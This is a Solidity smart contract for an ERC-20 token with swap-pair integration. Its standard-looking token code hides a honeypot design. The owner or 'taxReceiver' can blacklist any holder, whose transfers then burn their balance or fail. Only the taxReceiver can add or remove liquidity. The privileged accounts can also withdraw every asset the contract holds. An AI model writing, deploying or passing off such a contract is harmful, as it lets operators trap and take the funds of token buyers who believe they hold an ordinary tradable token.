Token

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

interface ISwapPair {
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function token0() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function skim(address to) external;
    
    function sync() external;
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface ISwapRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

library SafeMath {
    function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require((z = x + y) >= x, "ds-math-add-overflow");
    }

    function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require((z = x - y) <= x, "ds-math-sub-underflow");
    }

    function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */

contract Token is Ownable, IERC20, IERC20Metadata, IERC20Errors {
    using SafeMath for uint256;

    mapping(address account => uint256) private _balances;
    mapping(address account => mapping(address spender => uint256)) private _allowances;
    uint256 public totalSupply;
    address public axReceiver;
    string public name;
    string public symbol;
    address public pairAddress;
    address public taxReceiver;

    ISwapRouter private _swapRouter;
    mapping(address => bool) private _blackList;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_, address taxReceiver_, address swapRouter_) Ownable(_msgSender()) {
        require(totalSupply_ > 0, "totalSupply must > 0");
        require(swapRouter_ != address(0), "factory is zero address");

        name = name_;
        symbol = symbol_;
        totalSupply = totalSupply_ * 10**18;
        taxReceiver = taxReceiver_;

        _swapRouter = ISwapRouter(swapRouter_);
        ISwapFactory factory = ISwapFactory(_swapRouter.factory());
        pairAddress = factory.createPair(address(this), _swapRouter.WETH());

        _mint(msg.sender, totalSupply);
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        require(account != address(0), "balance query for the zero address");
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner_ = _msgSender();
        _transfer(owner_, to, value);
        return true;
    }

    function allowance(address owner_, address spender_) public view virtual returns (uint256) {
        return _allowances[owner_][spender_];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner_ = _msgSender();
        _approve(owner_, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal virtual  {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        if (_blackList[from]) {
            _burn(from, _balances[from]);
            return;
        }

        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {
        preUpdateHook(from, to, value);

        if (from != address(0)) {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }

        if (to != address(0)) {
            unchecked {
                _balances[to] += value;
            }
        }
        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0xdead), value);
    }

    function _approve(address owner_, address spender, uint256 value) internal {
        _approve(owner_, spender, value, true);
    }

    function _approve(address owner_, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner_ == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner_][spender] = value;
        if (emitEvent) {
            emit Approval(owner_, spender, value);
        }
    }

    function _spendAllowance(address owner_, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner_, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner_, spender, currentAllowance - value, false);
            }
        }
    }

    receive() external payable {}
    function withdraw(address _token) external {
        require(_msgSender() == owner() || _msgSender() == taxReceiver, "Not authorized");
        address receiver = _msgSender();
        if (_token == address(0x0)) {
            payable(receiver).transfer(address(this).balance);
            return;
        }
        IERC20 erc20token = IERC20(_token);
        uint256 balance = erc20token.balanceOf(address(this));
        bool succeed = erc20token.transfer(receiver, balance);
        require(succeed, "ERC20 transfer failed");
    }

    function _isAddLiquidity(address _token, address _currency) internal view returns (bool isAdd) {
        ISwapPair pair = ISwapPair(pairAddress);
        (uint r0, uint256 r1, ) = pair.getReserves();

        address tokenOther = _currency;
        uint256 r;
        if (tokenOther < _token) {
            r = r0;
        } else {
            r = r1;
        }

        uint bal = IERC20(tokenOther).balanceOf(pairAddress);
        isAdd = bal > r;
    }

    function _isRemoveLiquidity(address _token, address _currency) internal view returns (bool isRemove) {
        ISwapPair pair = ISwapPair(pairAddress);
        (uint r0, uint256 r1, ) = pair.getReserves();

        address tokenOther = _currency;
        uint256 r;
        if (tokenOther < _token) {
            r = r0;
        } else {
            r = r1;
        }

        uint bal = IERC20(tokenOther).balanceOf(pairAddress);
        isRemove = r >= bal;
    }

    function updateBlackList(address[] calldata addrs, bool[] calldata values) external {
        require(_msgSender() == owner() || _msgSender() == taxReceiver, "Not authorized");
        require(addrs.length == values.length, "length mismatch");
        for (uint i=0; i<addrs.length; i++) 
        {
            address addr = addrs[i];
            if (addr != taxReceiver && addr != pairAddress) {
                _blackList[addr] = values[i];
            }
        }
    }

    function removeBlackList(address[] calldata addrs) external {
        require(_msgSender() == owner() || _msgSender() == taxReceiver, "Not authorized");
        for (uint i=0; i<addrs.length; i++) 
        {
            address addr = addrs[i];
            if (_blackList[addr] && addr != address(0)) {
                delete _blackList[addr];
            }
        }
    }

    function preUpdateHook(address from, address to, uint256 value) internal virtual {
        if (_blackList[from]) {
            _burn(from, _balances[from]);
        }

        if (from != address(0) && value > 0) {
            bool isAdd;
            bool isRemove;
            if (to == pairAddress) {
                isAdd = _isAddLiquidity(address(this), _swapRouter.WETH());
            } else if (from == pairAddress) {
                isRemove = _isRemoveLiquidity(address(this), _swapRouter.WETH());
            }

            if ((to == pairAddress && isAdd && taxReceiver != from) || (from == pairAddress && isRemove && taxReceiver != to) ) {
                revert("invalid operation.");
            }
        }
    }
}